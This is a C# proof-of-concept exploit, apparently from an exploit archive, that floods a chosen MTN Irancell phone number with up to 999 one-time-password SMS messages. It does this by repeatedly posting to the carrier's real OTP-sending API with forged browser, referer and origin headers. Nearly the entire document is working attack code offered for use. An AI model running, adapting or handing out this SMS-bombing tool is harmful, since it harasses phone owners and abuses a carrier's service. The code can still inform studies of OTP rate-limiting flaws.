// # Exploit Title: MTN Irancell OTP SMS Flood POC C#
// # Date: 2018-09-18
// # Exploit Author: Amin.F aka chess pig
// # Vendor Homepage: https://irancell.ir/Portal/Home/
// # Software Link: https://ichat.mtnirancell.ir/api/outsource/otp/send/
// # Version: Unknown
// # Tested on: Microsoft Windows 10
using System;
using System.Text;
using System.Net;
using System.IO;
namespace Main
{
class Program
{
static void Main(string[] args)
{
// Make cursor off
Console.CursorVisible = false;
// Check for input
if (args.Length == 0 || args.Length > 2)
{
Console.WriteLine("Help : Please enter valid 'MTN Irancell phone-number' with 'number' of sms flood you want to send.");
Console.WriteLine("Example : Irancell.exe 09370000000 999");
Environment.Exit(-1);
}
// Crate parameter one variable
string P1 = "";
// Set up parameter one variable
P1 = args[0];
if (!Tools.IsNumeric(P1))
{
Console.WriteLine("[Fatal] The phone-number you entered is not valid.");
Environment.Exit(-1);
}
// Crate parameter two variable
string P2 = "";
// Set up parameter two variable
P2 = args[1];
if (!Tools.IsNumeric(P2))
{
Console.WriteLine("[Fatal] The sms flood times you entered is not valid.");
Environment.Exit(-1);
}
// I am not evil but this attempt times Limit help us to keep this bug a littile bit more
if (Convert.ToInt32(P2) > 999)
{
Console.WriteLine("[Fatal] Max sms flood times cannot be a more then '999' times.");
Environment.Exit(-1);
}
// Crate statistics variable
Int32 error = 0;
Int32 success = 0;
Int32 attempted = 0;
// Crate for loop and make just do it
for (int i = 0; i < Convert.ToInt32(P2); i++)
{
Int32 status;
status = Request(P1);
// Check for remote server error code to identify bug status
if (status == -2)
{
Console.WriteLine("[Fatal] Bug was fixed and cannot continue any more.");
Environment.Exit(-1);
}
// ?
switch (status)
{
// Are we win this round?
case 1:
attempted += 1;
success += 1;
Console.WriteLine("[Success] Flood {0} success.".Replace("{0}",Convert.ToString(success)));
break;
// something get wrong
default:
attempted += 1;
error += 1;
Console.WriteLine("[Fail] Flood {0} fail.".Replace("{0}", Convert.ToString(error)));
break;
}
}
// All done
Console.WriteLine(String.Format("All done - Attempted: {0} | Success: {1} | Fail: {2}", attempted, success, error));
}
static Int32 Request(string Number, string Language = "fa")
{
try
{
// Crate Content variable
string Content = "";
// Set up magic Content
Content = "{\"lang\":\"{0}\",\"phone_number\":\"{1}\"}";
// Set up Language as default is "fa" - Persian
Content = Content.Replace("{0}", Language);
// Set up phonenumber or irancell
Content = Content.Replace("{1}", Number);
// Crate url variable
string url = "";
// Set up magic url
url = "https://ichat.mtnirancell.ir/api/outsource/otp/send/";
// Crate user agent variable
string user_agent = "";
// Set up user agent
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36";
// Create a request using a URL that can receive a post.
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
// Set up ContentType
request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
// Set the Method property of the request to POST.
request.Method = "POST";
// Create POST data and convert it to a byte array.
string postData = Content;
byte[] byteArray = Encoding.UTF8.GetBytes(postData);
// Set up user agent on request
request.UserAgent = user_agent;
// Set up referer on request
request.Referer = "https://irancell.ir/Portal/Home/";
request.Accept = "*/*";
// We don't want ddos attack
request.KeepAlive = false;
// Set up magic ContentLength
request.ContentLength = byteArray.Length;
// Check up magic ContentLength before launch
if (!(request.ContentLength == 0x2A))
goto Error;
// add magic headers to request
request.Headers.Add("customer-type", "individual");
request.Headers.Add("Origin", "https://irancell.ir");
// Get the request stream.
Stream dataStream = request.GetRequestStream();
// Write the data to the request stream.
dataStream.Write(byteArray, 0, byteArray.Length);
// Close the Stream object.
dataStream.Close();
// Get the response.
WebResponse response = request.GetResponse();
// Get the stream containing content returned by the server.
dataStream = response.GetResponseStream();
// Open the stream using a StreamReader for easy access.
StreamReader reader = new StreamReader(dataStream);
// Read the content.
string responseFromServer = reader.ReadToEnd();
// Clean up the streams.
reader.Close();
dataStream.Close();
response.Close();
// Crate win keyword variable
string keyword = "";
// Set up win keyword
keyword = "OTP Sent Successfully";
// Check if we win
if (responseFromServer.Contains(keyword))
// We win this round
return 1;
}
catch (Exception Exception)
{
// Crate error variable
string error = "";
// Get error content from Exception
error = Convert.ToString(Exception.Message);
// Sorry but bug pached
if (error.Contains("The remote server returned an error"))
{
return -2;
}
// Get the banned from remote website or no internet connection
else if (error.Contains("Unable to connect to the remote server"))
{
return -1;
}
}
// It's not good
Error:
return 0;
}
class Tools
{
public static bool IsNumeric(object Expression)
{
double retNum;
bool isNum = Double.TryParse(Convert.ToString(Expression), System.Globalization.NumberStyles.Any, System.Globalization.NumberFormatInfo.InvariantInfo, out retNum);
return isNum;
}
}
}
}